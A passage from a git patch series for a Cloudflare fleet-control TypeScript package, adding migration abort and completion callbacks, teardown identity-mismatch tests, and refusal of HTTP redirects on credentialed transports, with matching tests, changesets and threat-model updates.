expect(w.requests).not.toContain(`DELETE ${w.script}`); }); + it('refuses a first-attempt export bucket delete whose creation date changed', async () => { + const w = await world(); + let reads = 0; + w.setHook((request, url) => { + if (request.method !== 'GET' || url.pathname !== w.bucketPath) + return undefined; + reads += 1; + return reads === 1 + ? undefined + : json({ + name: w.names.exportBucket, + creation_date: '2020-01-01T00:00:00.000Z', + }); + }); + expect(retained(await w.run()).reason).toBe('identity-mismatch'); + expect(w.requests).toContain(`DELETE ${w.bucketPath}/objects/${w.keyB}`); + expect(w.requests).not.toContain(`DELETE ${w.bucketPath}`); + expect(w.state.bucketPresent).toBe(true); + }); + + it('refuses a first-attempt fleet database delete whose name changed', async () => { + const w = await world(); + w.state.databases.set('fleet-uuid', { + uuid: 'fleet-uuid', + name: `${w.names.fleetDatabase}-replacement`, + }); + expect(retained(await w.run()).reason).toBe('identity-mismatch'); + expect(w.requests).not.toContain(`DELETE ${ROOT}/d1/database/fleet-uuid`); + expect(w.state.databases.has('fleet-uuid')).toBe(true); + }); + + it('refuses a first-attempt worker delete whose active version changed', async () => { + const w = await world(); + let reads = 0; + w.setHook((request, url) => { + if ( + request.method !== 'GET' || + url.pathname !== `${w.script}/deployments` + ) + return undefined; + reads += 1; + return reads === 1 ? undefined : deployments('other-version'); + }); + expect(retained(await w.run()).reason).toBe('identity-mismatch'); + expect(w.requests).toContain(`POST ${w.script}/subdomain`); + expect(w.requests).not.toContain(`DELETE ${w.script}`); + expect(w.state.scriptPresent).toBe(true); + }); + + it('refuses a secret set carrying an extra unrecordable name', async () => { + for (const extra of [ + 'n'.repeat(DIRECT_TEARDOWN_MAXIMA.nameBytes + 1), + 'CONTROLNAME', + ]) { + const w = await world(); + w.state.secretNames.push(extra); + expect(retained(await w.run()).reason).toBe('identity-mismatch'); + expect(w.requests).not.toContain(`DELETE ${w.script}`); + expect(w.state.scriptPresent).toBe(true); + } + }); + + it('refuses a first-attempt ingress disable whose active version changed', async () => { + const w = await world(); + w.setHook((request, url) => + request.method === 'GET' && url.pathname === `${w.script}/deployments` + ? deployments('other-version') + : undefined, + ); + expect(retained(await w.run()).reason).toBe('identity-mismatch'); + expect(w.requests).not.toContain(`POST ${w.script}/subdomain`); + expect(w.state.ingress).toBe(true); + }); + + it('refuses a first-attempt export object delete whose bucket changed', async () => { + const w = await world(); + w.setHook((request, url) => + request.method === 'GET' && url.pathname === w.bucketPath + ? json({ + name: w.names.exportBucket, + creation_date: '2020-01-01T00:00:00.000Z', + }) + : undefined, + ); + expect(retained(await w.run()).reason).toBe('identity-mismatch'); + expect( + w.requests.filter( + (entry) => entry.startsWith('DELETE') && entry.includes('/objects/'), + ), + ).toEqual([]); + expect([...w.state.objects]).toHaveLength(2); + }); + + it('settles a first-attempt step whose probe already finds the resource absent', async () => { + const w = await world(); + w.state.databases.delete('fleet-uuid'); + const outcome = await w.run(); + expect(outcome.status).toBe('cleaned'); + expect(outcome.facts.receipts.fleet).toMatchObject({ + uuid: 'fleet-uuid', + settledByReread: true, + }); + expect( + w.requests.filter( + (entry) => entry === `GET ${ROOT}/d1/database/fleet-uuid`, + ), + ).toHaveLength(1); + expect(w.requests).not.toContain(`DELETE ${ROOT}/d1/database/fleet-uuid`); + expect((await diskState(w.journal)).teardown).toMatchObject({ + phase: 'complete', + pending: null, + failure: null, + }); + }); + it('refuses a forbidden residual surface and records a fail-closed dispatch', async () => { for (const surface of [ `${ROOT}/d1/database`, From a534f63d9d5169ff06c585cc2bfea5a57f21cbc9 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 15 Sep 2026 15:12:00 +0400 Subject: [PATCH 152/169] feat(fleet-control): add migration abort signal and completion callback The fleet migration composition took a clock but no abort signal and no completion callback, while the audit, inventory, cleanup and decommission advances all accept a signal. AdvanceFleetMigrationOptions and CloudflareAdvanceFleetMigrationOptions gain both as optional members. The signal is checked at the public entry and at the top of advanceItem, before that function's try block. Its catch records a failed item and a failed operation durably, so a check inside it would turn a cancellation into a permanent failure; at the top, an abort leaves the operation and its items as they were and a later continue resumes. onComplete runs at the public entry on every call that returns complete, after the account operation lease is released, so a host callback never runs under the lease. A continue on a finalized operation and a replayed start of the same operation report complete again and invoke it again; delivery is at least once and the host deduplicates on the operation id, as settlementFor's contract already requires on its settlement key. A rejection propagates and leaves the finalization intact. The Cloudflare control plane forwards the signal as its siblings do and binds onComplete to the input object as it binds settlementFor. Seven tests pin the aborted start, the resumable abort before the item step, delivery after the durable finalize, redelivery on a later continue, a rejecting and a throwing callback, and a drain under inert options that matches a drain with both omitted; the forwarding test pins signal identity and the bound receiver. A minor changeset records the two optional members. Co-Authored-By: Claude Fable 5.1 --- .changeset/migration-completion-and-abort.md | 9 ++ .../src/cloudflare-control-plane.ts | 8 + .../src/fleet-migration-advance.ts | 24 ++- .../test/cloudflare-control-plane.test.ts | 22 +++ .../test/fleet-migration-advance.test.ts | 152 ++++++++++++++++++ 5 files changed, 212 insertions(+), 3 deletions(-) create mode 100644 .changeset/migration-completion-and-abort.md diff --git a/.changeset/migration-completion-and-abort.md b/.changeset/migration-completion-and-abort.md new file mode 100644 index 00000000..16e8ace7 --- /dev/null +++ b/.changeset/migration-completion-and-abort.md @@ -0,0 +1,9 @@ +--- +'@proofoftech/fleet-control': minor +--- + +`advanceFleetMigration()` accepts an `AbortSignal` and a completion callback, matching the audit advance. `signal` is call-local and never persisted: it is checked at the public entry, before the action branch, and again at the head of each item advance, outside the step's failure handler — so a cancellation leaves the operation and its items exactly as they were and a later continue resumes, rather than durably failing the item. + +`onComplete` runs on every call that returns `complete` — the call that finalizes the operation, a later continue on the finalized operation, and a replayed start of the same operation id — after the finalization is durable and before that call returns. Delivery is therefore at least once, and the host deduplicates on `operationId`; the alternative that fires only on the running-to-finalized transition loses the notification when the process dies between the durable finalize and the callback. A rejection propagates to the caller and leaves the durable finalization intact. + +`CloudflareAdvanceFleetMigrationOptions` carries both, forwarding `signal` unbound and `onComplete` bound to the caller's options object. Both additions are optional members, so existing callers are unchanged. diff --git a/packages/fleet-control/src/cloudflare-control-plane.ts b/packages/fleet-control/src/cloudflare-control-plane.ts index 7d6d315e..301271c7 100644 --- a/packages/fleet-control/src/cloudflare-control-plane.ts +++ b/packages/fleet-control/src/cloudflare-control-plane.ts @@ -40,6 +40,7 @@ import { advanceFleetMigration, type FleetMigrationAdvanceAction, type FleetMigrationAdvanceResult, + type FleetMigrationResultRef, readFleetMigrationItemsPage, } from './fleet-migration-advance.js'; import type { FleetMigrationItem } from './fleet-migration-state.js'; @@ -325,6 +326,11 @@ export interface CloudflareAdvanceFleetMigrationOptions { ) => FleetSettlementHost | undefined; readonly routeAttestation?: AttestConvergedActiveRouteOptions; readonly clock?: () => number; + readonly signal?: AbortSignal; + /** Carries `AdvanceFleetMigrationOptions.onComplete`'s delivery contract. */ + readonly onComplete?: ( + result: FleetMigrationResultRef, + ) => void | Promise; } export interface CloudflareFleetOperationPageOptions { @@ -586,6 +592,8 @@ export function createCloudflareControlPlane( action: input.action, routeAttestation: input.routeAttestation, clock: input.clock?.bind(input), + signal: input.signal, + onComplete: input.onComplete?.bind(input), }); }, readFleetMigrationItemsPage: (input: CloudflareFleetOperationPageOptions) => diff --git a/packages/fleet-control/src/fleet-migration-advance.ts b/packages/fleet-control/src/fleet-migration-advance.ts index 0ea08743..1a79caf8 100644 --- a/packages/fleet-control/src/fleet-migration-advance.ts +++ b/packages/fleet-control/src/fleet-migration-advance.ts @@ -72,6 +72,19 @@ export interface AdvanceFleetMigrationOptions { ) => FleetSettlementHost | undefined; readonly routeAttestation?: AttestConvergedActiveRouteOptions; readonly clock?: () => number; + /** Call-local only; never persisted. */ + readonly signal?: AbortSignal; + /** + * Runs on every call that returns `complete` — the call that finalizes the + * operation, a later continue on the finalized operation, and a replayed + * start of the same operationId — after the finalization is durable and + * before this call returns. Delivery is therefore at least once; the host + * deduplicates on `operationId`. A rejection propagates to the caller and + * leaves the durable finalization intact. + */ + readonly onComplete?: ( + result: FleetMigrationResultRef, + ) => void | Promise; readonly action: FleetMigrationAdvanceAction; } @@ -401,6 +414,7 @@ async function advanceItem( run: MigrationRun, item: FleetMigrationItem, ): Promise { + options.signal?.throwIfAborted(); let next: FleetMigrationItem; try { const attestationOptions: AttestConvergedActiveRouteOptions = { @@ -563,10 +577,14 @@ export async function advanceFleetMigration( options: AdvanceFleetMigrationOptions, ): Promise { assertOperationStore(options.operationStore); + options.signal?.throwIfAborted(); const action = options.action; - return action.kind === 'start' - ? startMigration(options, action) - : continueMigration(options, action.token); + const result = + action.kind === 'start' + ? await startMigration(options, action) + : await continueMigration(options, action.token); + if (result.status === 'complete') await options.onComplete?.(result.result); + return result; } /** Reads ordered item metadata, including while the operation is running. */ diff --git a/packages/fleet-control/test/cloudflare-control-plane.test.ts b/packages/fleet-control/test/cloudflare-control-plane.test.ts index fe2300ba..1d2560d1 100644 --- a/packages/fleet-control/test/cloudflare-control-plane.test.ts +++ b/packages/fleet-control/test/cloudflare-control-plane.test.ts @@ -771,6 +771,14 @@ describe('Cloudflare control-plane composition with real constructors and mocked const control = createCloudflareControlPlane(hostOptions()); let resolvedSpec = SPEC; const settlement = { settle: vi.fn(async () => {}) }; + const controller = new AbortController(); + const completions: unknown[] = []; + const migrationResult = { + operationId: OPERATION_ID, + itemCount: 1, + completedItemCount: 1, + finalizedAtMs: 900, + }; const input: CloudflareAdvanceFleetMigrationOptions = { action: { kind: 'start', @@ -798,6 +806,11 @@ describe('Cloudflare control-plane composition with real constructors and mocked return 300; }, routeAttestation, + signal: controller.signal, + onComplete(result) { + expect(this).toBe(input); + completions.push(result); + }, }; Reflect.set(input, 'finalizedStateProviderFor', () => ({})); Reflect.set(input, 'backendFor', () => ({})); @@ -816,6 +829,10 @@ describe('Cloudflare control-plane composition with real constructors and mocked expect(forwarded.settlementFor?.(RECORD)).toBe(settlement); expect(forwarded.clock?.()).toBe(300); expect(forwarded.routeAttestation).toBe(routeAttestation); + expect(forwarded.signal).toBe(controller.signal); + await forwarded.onComplete?.(migrationResult); + expect(completions).toEqual([migrationResult]); + expect(completions[0]).toBe(migrationResult); expect(forwarded).not.toHaveProperty('finalizedStateProviderFor'); expect(forwarded).toMatchObject({ operationStore: required(constructed.operationStore.mock.calls[0])[0], @@ -825,7 +842,12 @@ describe('Cloudflare control-plane composition with real constructors and mocked Reflect.set(input, 'specFor', () => { throw new Error('mutated callback'); }); + Reflect.set(input, 'onComplete', () => { + throw new Error('mutated callback'); + }); expect(forwarded.specFor(RECORD)).toBe(SPEC); + await forwarded.onComplete?.(migrationResult); + expect(completions).toEqual([migrationResult, migrationResult]); resolvedSpec = { ...SPEC, durableObjectBindings: [ diff --git a/packages/fleet-control/test/fleet-migration-advance.test.ts b/packages/fleet-control/test/fleet-migration-advance.test.ts index e3aea4e6..ed4f0c51 100644 --- a/packages/fleet-control/test/fleet-migration-advance.test.ts +++ b/packages/fleet-control/test/fleet-migration-advance.test.ts @@ -4388,3 +4388,155 @@ describe('bounded fleet migration', () => { } }); }); + +describe('bounded fleet migration abort signal and completion callback', () => { + it('an already-aborted start rejects with the sentinel and writes nothing', async () => { + const world = createWorld(); + const sentinel = new Error('host cancelled the migration'); + await expect( + advanceFleetMigration({ + ...world.options({ + kind: 'start', + operationId: uuid(), + records: [world.initial], + canaryTenantTags: [], + }), + signal: AbortSignal.abort(sentinel), + }), + ).rejects.toBe(sentinel); + expect(providerMutations(world)).toEqual([]); + expect(world.ops).toEqual([]); + expect(world.operationStore.calls).toEqual([]); + expect(world.operationStore.operations.size).toBe(0); + expect(world.operationStore.rows.size).toBe(0); + expect(world.fleetStore.puts).toEqual([]); + }); + + it('an abort raised before the item step leaves the operation resumable', async () => { + const world = createWorld(); + const started = await world.start(); + const item = world.operationStore.item(); + const run = copy(world.operationStore.operations.get(uuid())); + const sentinel = new Error('host cancelled between calls'); + const controller = new AbortController(); + world.operationStore.beforeLease = () => controller.abort(sentinel); + world.ops.length = 0; + world.operationStore.calls.length = 0; + await expect( + advanceFleetMigration({ + ...world.options({ kind: 'continue', token: started.token }), + signal: controller.signal, + }), + ).rejects.toBe(sentinel); + expect(providerMutations(world)).toEqual([]); + expect(world.operationStore.item()).toEqual(item); + expect(world.operationStore.operations.get(uuid())).toEqual(run); + expect(world.operationStore.calls).toEqual([]); + expect(world.operationStore.failures).toEqual([]); + world.operationStore.beforeLease = undefined; + const resumed = await advanceFleetMigration({ + ...world.options({ kind: 'continue', token: started.token }), + signal: new AbortController().signal, + }); + expect(await drainWorld(world, resumed)).toMatchObject({ + status: 'complete', + }); + }); + + it('completion invokes onComplete once with the returned result, after the durable finalize', async () => { + const world = createWorld(); + const seen: unknown[] = []; + const states: (string | undefined)[] = []; + const base = world.options; + world.options = (action) => ({ + ...base(action), + async onComplete(result) { + seen.push(result); + states.push(world.operationStore.operations.get(uuid())?.state); + }, + }); + const final = await drainWorld(world); + if (final.status !== 'complete') throw new Error('expected a complete run'); + expect(seen).toEqual([final.result]); + expect(seen[0]).toBe(final.result); + expect(states).toEqual(['finalized']); + }); + + it('a continue on the finalized operation delivers onComplete again', async () => { + const world = createWorld(); + const seen: unknown[] = []; + const base = world.options; + world.options = (action) => ({ + ...base(action), + onComplete(result) { + seen.push(result); + }, + }); + const final = await drainWorld(world); + if (final.status !== 'complete') throw new Error('expected a complete run'); + const replayed = await continueWorld(world, final); + if (replayed.status !== 'complete') + throw new Error('expected a complete replay'); + expect(seen).toHaveLength(2); + expect(seen[1]).toBe(replayed.result); + expect(replayed.result).toEqual(final.result); + expect( + world.operationStore.calls.filter((call) => call === 'finalize'), + ).toHaveLength(1); + }); + + it.each([ + 'asynchronously', + 'synchronously', + ] as const)('an onComplete that fails %s rejects the call and leaves the operation finalized', async (mode) => { + const world = createWorld(); + const sentinel = new Error('host completion callback failed'); + const base = world.options; + const onComplete = + mode === 'synchronously' + ? () => { + throw sentinel; + } + : () => Promise.reject(sentinel); + world.options = (action) => ({ ...base(action), onComplete }); + let next: FleetMigrationAdvanceResult = await world.start(); + let rejected: unknown; + for (let count = 0; count < 100 && next.status === 'pending'; count += 1) { + try { + next = await continueWorld(world, next); + } catch (error) { + rejected = error; + break; + } + } + expect(rejected).toBe(sentinel); + expect(world.operationStore.operations.get(uuid())).toMatchObject({ + state: 'finalized', + }); + world.options = base; + expect(await continueWorld(world, next)).toMatchObject({ + status: 'complete', + }); + }); + + it('omitting both options drains exactly as inert ones do', async () => { + const plain = createWorld(); + const drained = await drainWorld(plain); + const armed = createWorld(); + const base = armed.options; + const controller = new AbortController(); + const seen: unknown[] = []; + armed.options = (action) => ({ + ...base(action), + signal: controller.signal, + onComplete(result) { + seen.push(result); + }, + }); + expect(await drainWorld(armed)).toEqual(drained); + expect(armed.ops).toEqual(plain.ops); + expect(armed.operationStore.calls).toEqual(plain.operationStore.calls); + expect(armed.operationStore.item()).toEqual(plain.operationStore.item()); + expect(seen).toHaveLength(1); + }); +}); From 621fda76f548b72a64b4c63e05a39f63d424fe8b Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 15 Sep 2026 16:18:12 +0400 Subject: [PATCH 153/169] fix(fleet-control): refuse redirects on the credentialed transports Three private fetch wrappers set no redirect policy: the provisioning client's transport, which serves the Cloudflare SDK, the raw dispatch script page request that sends the account API token, and the signed export download; the plain Worker maintenance transport, which sends the maintenance admin secret; and the Workers for Platforms maintenance transport, which sends a minted capability token. A provider or tenant answering with a 3xx could send the request on to an address the control plane did not choose. Among their call sites only the signed export download set `redirect: 'manual'`, at the call site. A Workers for Platforms maintenance call that received a 302 carrying a valid signed receipt succeeded, because the backend reads only the receipt header and hands the health reader a freshly constructed response. Each wrapper now forces `redirect: 'manual'` after the caller's init. The provisioning client's `#request` returns a 3xx to its caller: the SDK retries an error thrown by its injected fetch and reports it as a connection error, whereas a returned 302 becomes an `APIError` with status 302 on the first attempt, which `isTransientProviderError` does not classify as transient. Where the reader would not otherwise classify the status, the redirect is refused by name: the raw dispatch script page request refuses at its call site, and the Workers for Platforms maintenance wrapper refuses for both its callers; each throws `CredentialedRedirectRefusedError` and cancels the body. The plain Worker maintenance path needs no bespoke refusal, because `readMaintenanceHealth` refuses a non-ok response. The export download carries no redirect policy of its own and keeps its non-ok refusal. `isRedirectStatus` and the error live in `cloudflare-provider-errors.ts` beside the predicates that classify SDK errors; this one classifies a raw provider response, and the module header names both kinds. No package entry re-exports the module, so the exported surface carries no new name and the changeset is a patch, while the error still reaches a consumer by name as a thrown value. The threat model names the three transports and gains a row for a credential following a redirect. Tests cover manual redirect handling on each transport, the two named refusals with body cancellation, the SDK-routed 302 classification and the redacted export-download refusal; two exact-init expectations in the Wrangler loop suite gain the forced policy. Co-Authored-By: Claude Fable 5.1 --- ...-control-credentialed-redirect-refusals.md | 7 ++ docs/security-threat-model.md | 3 +- .../fleet-control/src/cloudflare-client.ts | 31 ++++++- .../src/cloudflare-provider-errors.ts | 24 +++++- .../fleet-control/src/plain-worker-backend.ts | 8 +- .../src/workers-for-platforms-backend.ts | 25 +++++- .../cloudflare-client-plain-worker.test.ts | 33 ++++++++ .../test/plain-worker-backend.test.ts | 25 ++++++ .../test/worker-attachment-scan.test.ts | 83 +++++++++++++++++++ .../workers-for-platforms-backend.test.ts | 42 ++++++++++ .../test/wrangler-loop-backend.test.ts | 2 + 11 files changed, 274 insertions(+), 9 deletions(-) create mode 100644 .changeset/fleet-control-credentialed-redirect-refusals.md diff --git a/.changeset/fleet-control-credentialed-redirect-refusals.md b/.changeset/fleet-control-credentialed-redirect-refusals.md new file mode 100644 index 00000000..fc80be00 --- /dev/null +++ b/.changeset/fleet-control-credentialed-redirect-refusals.md @@ -0,0 +1,7 @@ +--- +'@proofoftech/fleet-control': patch +--- + +Refuse redirects on the three credentialed provider transports. `CloudflareProvisioningClient`, `PlainWorkerBackend`, and `WorkersForPlatformsBackend` force `redirect: 'manual'` after a caller's `init`, so a bearer credential is not carried to an address the control plane did not choose. The raw dispatch script page and both Workers for Platforms maintenance calls, which read a response the transport does not otherwise classify, throw `CredentialedRedirectRefusedError` on a 301, 302, 303, 307, or 308 and cancel the unconsumed body; the message names the operation and the status, never the address. An SDK-routed redirect surfaces as an `APIError` with the original status, unretried and not classified transient. + +A host whose injected fetch follows redirects itself is unaffected: supply that fetch only from trusted control-plane code. diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index 88134d3f..c358c85a 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -136,7 +136,7 @@ The direct backend's client paths call these Cloudflare API route families: Every provider page and request reserves shared quota, and every inventory has a hard item bound. An over-bound inventory fails instead of truncating. Under Workers for Platforms, namespace-list failures, including `404`, propagate and block destructive teardown. Under a plain-only client, only a first-page `404` or an exhaustive empty result proves that no dispatch namespace exists; a later `404` and every other failure block destructive D1 or R2 teardown. -The SDK runs with logging disabled even when `CLOUDFLARE_LOG` requests debug output. Upload errors replace intent secret values before the error enters a mutation outcome. That redaction knows only exact plaintext secret values from the upload intent; a consumer-injected fetch that echoes request headers into an error can surface the account token, so supply that fetch only from trusted control-plane code. The Cloudflare SDK can also throw a consumer-controlled value while coercing a rejected transport value before wrapping it; that value can carry request data and bypass upload-error redaction, while hostile values can make API-error recognition or sanitization throw another value instead. Database export failures discard provider messages, response bodies, headers, signed URLs, and original causes. The signed URL is parsed, downloaded with redirects disabled and no authorization header, hashed, and compared with the durable store's committed size and digest inside one redaction boundary. +The SDK runs with logging disabled even when `CLOUDFLARE_LOG` requests debug output. Upload errors replace intent secret values before the error enters a mutation outcome. That redaction knows only exact plaintext secret values from the upload intent; a consumer-injected fetch that echoes request headers into an error can surface the account token, so supply that fetch only from trusted control-plane code. The Cloudflare SDK can also throw a consumer-controlled value while coercing a rejected transport value before wrapping it; that value can carry request data and bypass upload-error redaction, while hostile values can make API-error recognition or sanitization throw another value instead. Database export failures discard provider messages, response bodies, headers, signed URLs, and original causes. The account SDK and raw transport, the plain Worker maintenance transport, and the Workers for Platforms maintenance transport each refuse to follow a redirect at the transport, and the signed URL is additionally parsed, downloaded with no authorization header, hashed, and compared with the durable store's committed size and digest inside one redaction boundary. Unset `CLOUDFLARE_CUSTOM_HEADERS` in the provisioning host unless every configured header is intended for all SDK requests. Cloudflare SDK 7 reads that process variable as ambient default headers, outside the backend's explicit options. @@ -332,6 +332,7 @@ A host with only one human reviewer must consciously choose availability or sepa | Application Worker binds another deployment's R2 bucket | Fleet-derived names, permanent ownership claims, persisted create authorization, and exact binding inventory | Control-plane compromise remains inside the trusted computing base | | Application secret changed outside fleet control | Trusted plaintext input is digest-checked before upload; inventory attests the exact secret-name set | Cloudflare exposes no value digest, so recurring audit cannot detect value-only drift | | Deployment decommissioning races new work | Revoke traffic and credentials before deleting the resource set | In-flight work can return errors during the drain | +| Provisioning credential follows a redirect to an attacker host | The account SDK and raw transport, the plain Worker maintenance transport, and the Workers for Platforms maintenance transport force manual redirect handling after the caller's init; the raw dispatch page and the Workers for Platforms maintenance calls, which read a response the transport does not classify, refuse a redirect status outright | A consumer-injected fetch that follows redirects on its own returns the final response, which the wrapper cannot distinguish from a direct answer | | Audit sink outage blocks agent | Sink failure containment and ring buffer | In-memory buffer is not durable and can drop old events | | Notification exposes reviewer payload | Host projection obligation | Flowsafe cannot know the trust level of a transport | | Stream ticket replay | Short TTL, HMAC, address binding, Worker verification | Ticket in logs or browser history is usable until expiry | diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index 2b0c0acd..98cf738e 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -47,7 +47,9 @@ import { workerMigrations, } from './cloudflare-ordinary-worker-operations.js'; import { + CredentialedRedirectRefusedError, isNotFound, + isRedirectStatus, readErrorFieldSafely, sanitizedErrorName, } from './cloudflare-provider-errors.js'; @@ -700,7 +702,12 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { }); } const fetchFn = options.fetch ?? fetch; - this.#fetch = (input, init) => fetchFn(input, init); + // Every request below carries the account API token, and the signed export + // download carries a URL the provider chose. Forcing the policy after the + // spread denies a call site the chance to opt into following a redirect to + // an address the control plane did not choose. + this.#fetch = (input, init) => + fetchFn(input, { ...init, redirect: 'manual' }); this.#requestTimeoutMs = options.requestTimeoutMs ?? 60_000; if ( !Number.isSafeInteger(this.#requestTimeoutMs) || @@ -831,16 +838,33 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { accountId: this.#accountId, client: this.#client, dispatchNamespace: this.#dispatchNamespace, - requestDispatchScriptPage: ({ namespace, cursor, perPage, signal }) => { + requestDispatchScriptPage: async ({ + namespace, + cursor, + perPage, + signal, + }) => { const url = new URL( `https://api.cloudflare.com/client/v4/accounts/${encodeURIComponent(this.#accountId)}/workers/dispatch/namespaces/${encodeURIComponent(namespace)}/scripts`, ); url.searchParams.set('per_page', String(perPage)); if (cursor) url.searchParams.set('cursor', cursor); - return this.#request(url, { + const response = await this.#request(url, { headers: { authorization: `Bearer ${this.#apiToken}` }, signal, }); + // This caller reads the raw response, so the refusal belongs here + // rather than in #request, whose SDK-routed callers reclassify a + // thrown error as a connection failure and retry it. + if (isRedirectStatus(response.status)) { + const refusal = new CredentialedRedirectRefusedError( + 'Cloudflare dispatch script listing', + response.status, + ); + cancelBodyWithoutAwait(response.body, refusal); + throw refusal; + } + return response; }, }; } @@ -3412,7 +3436,6 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } const download = await this.#request(signedUrl, { headers: { 'Accept-Encoding': 'identity' }, - redirect: 'manual', }); httpStatus = download.status; if (!download.ok) { diff --git a/packages/fleet-control/src/cloudflare-provider-errors.ts b/packages/fleet-control/src/cloudflare-provider-errors.ts index 3d9b21a0..4b6d62ed 100644 --- a/packages/fleet-control/src/cloudflare-provider-errors.ts +++ b/packages/fleet-control/src/cloudflare-provider-errors.ts @@ -1,7 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 -// This module holds safe-read and secret-redaction helpers for Cloudflare SDK -// errors, and the shared isNotFound predicate. +// This module holds the classification and redaction helpers that Cloudflare +// provider transports apply to SDK errors and to raw provider responses. // Its two sanitizer consumers use different members: the ordinary-Worker // upload dispatch (cloudflare-ordinary-worker-operations.ts) calls // sanitizeProviderError, while the client's D1 export calls @@ -161,6 +161,26 @@ export function isNotFound(error: unknown): boolean { ); } +const REDIRECT_STATUSES: readonly number[] = [301, 302, 303, 307, 308]; + +/** Matches the Worker egress proxy's enumeration in workers/outbound.ts. */ +export function isRedirectStatus(status: number): boolean { + return REDIRECT_STATUSES.includes(status); +} + +/** + * A credentialed transport received a redirect. The message names the + * operation and the status but never the address, because the same refusal + * covers signed export URLs and tenant maintenance endpoints whose addresses + * belong inside the caller's redaction boundary. + */ +export class CredentialedRedirectRefusedError extends Error { + constructor(operation: string, status: number) { + super(`${operation} refused a redirect with status ${status}`); + this.name = 'CredentialedRedirectRefusedError'; + } +} + /** * R2 lists use HTTP 403 with provider code 10003 when the account lacks * entitlement to the requested jurisdiction. diff --git a/packages/fleet-control/src/plain-worker-backend.ts b/packages/fleet-control/src/plain-worker-backend.ts index 129c61d6..d7a43941 100644 --- a/packages/fleet-control/src/plain-worker-backend.ts +++ b/packages/fleet-control/src/plain-worker-backend.ts @@ -290,7 +290,13 @@ export class PlainWorkerBackend implements ProvisioningBackend { this.#api = options.api; this.#identityCaller = options.identityCaller; const fetchFn = options.fetch ?? fetch; - this.#fetch = (input, init) => fetchFn(input, init); + // The maintenance requests below carry the maintenance admin secret as a + // bearer credential to a tenant Worker URL. Forcing the policy after the + // spread denies a call site the chance to opt into following a redirect to + // an address the control plane did not choose. A 3xx then reaches + // readMaintenanceHealth, which refuses any response that is not ok. + this.#fetch = (input, init) => + fetchFn(input, { ...init, redirect: 'manual' }); this.#maintenanceRequestTimeoutMs = maintenanceRequestTimeoutMs; this.#maintenanceRouteReadyTimeoutMs = options.maintenanceRouteReadyTimeoutMs ?? 60_000; diff --git a/packages/fleet-control/src/workers-for-platforms-backend.ts b/packages/fleet-control/src/workers-for-platforms-backend.ts index 0e91ecf9..5a0900a0 100644 --- a/packages/fleet-control/src/workers-for-platforms-backend.ts +++ b/packages/fleet-control/src/workers-for-platforms-backend.ts @@ -16,6 +16,11 @@ import { applicationSecretValues, } from './application-bindings.js'; import { + CredentialedRedirectRefusedError, + isRedirectStatus, +} from './cloudflare-provider-errors.js'; +import { + cancelBodyWithoutAwait, captureDatabaseExportReceiptCapability, databaseExportReceiptIdentityFromUnknown, } from './database-export-store.js'; @@ -475,7 +480,25 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { const client = options.client; this.#client = client; const fetchFn = options.fetch ?? fetch; - this.#fetch = (input, init) => fetchFn(input, init); + // The maintenance requests below carry a minted capability token as a + // bearer credential to a tenant Worker URL. Forcing the policy after the + // spread denies a call site the chance to opt into following a redirect to + // an address the control plane did not choose. The refusal belongs here + // because both consumers read only the signed receipt header and then + // build a fresh response, so a 3xx carrying a valid receipt would + // otherwise succeed. + this.#fetch = async (input, init) => { + const response = await fetchFn(input, { ...init, redirect: 'manual' }); + if (isRedirectStatus(response.status)) { + const refusal = new CredentialedRedirectRefusedError( + 'Workers for Platforms maintenance request', + response.status, + ); + cancelBodyWithoutAwait(response.body, refusal); + throw refusal; + } + return response; + }; this.#hostRoutingKvId = options.hostRoutingKvId; this.#auditQueueName = options.auditQueueName; this.#maintenanceRequestTimeoutMs = diff --git a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts index 594d6327..09fff6e1 100644 --- a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts +++ b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts @@ -2630,6 +2630,39 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { } }); + it('refuses a redirected signed export download and redacts its URL', async () => { + const signedUrl = 'https://download.example.test/private/path?token=secret'; + const cancelled = vi.fn(); + const fixture = recordingFetch(({ url, headers, redirect }) => { + if (url.startsWith('https://download.example.test/')) { + expect(headers.has('authorization')).toBe(false); + expect(redirect).toBe('manual'); + return new Response(new ReadableStream({ cancel: cancelled }), { + status: 302, + headers: { location: 'https://redirected.invalid/elsewhere' }, + }); + } + return single({ status: 'complete', result: { signed_url: signedUrl } }); + }); + const client = plainClient({ + fetch: fixture.fetch, + exportStore: { + write: async () => ({ location: 'x', size: 1, sha256: 'x' }), + }, + }); + + const failure = await fenced(client, () => + client.exportDatabase('db'), + ).catch((error: unknown) => error); + + expect(cancelled).toHaveBeenCalledTimes(1); + expect(fact(failure, 'message')).toBe( + "D1 export for 'db' failed after 1 poll(s) with HTTP 302", + ); + expect(ownSerialization(failure)).not.toContain('/private/path'); + expect(ownSerialization(failure)).not.toContain('token=secret'); + }); + it('redacts a signed export URL from a throwing status accessor', async () => { const signedUrl = 'https://download.example.test/private/path?token=secret'; const fixture = recordingFetch(({ url }) => { diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts index 6de6656d..9cb88770 100644 --- a/packages/fleet-control/test/plain-worker-backend.test.ts +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -1130,6 +1130,31 @@ describe('maintenance route readiness', () => { ).rejects.toThrow('lease lost'); expect(request).toHaveBeenCalledTimes(1); }); + + it.each([ + 'ensureMaintenance', + 'inspect', + ] as const)('sends the %s maintenance request with manual redirect handling', async (operation) => { + const api = new PlainWorkerProvisioningApiFake(); + deployedCandidate(api); + const request = vi.fn( + async (_input: Parameters[0], _init?: RequestInit) => + 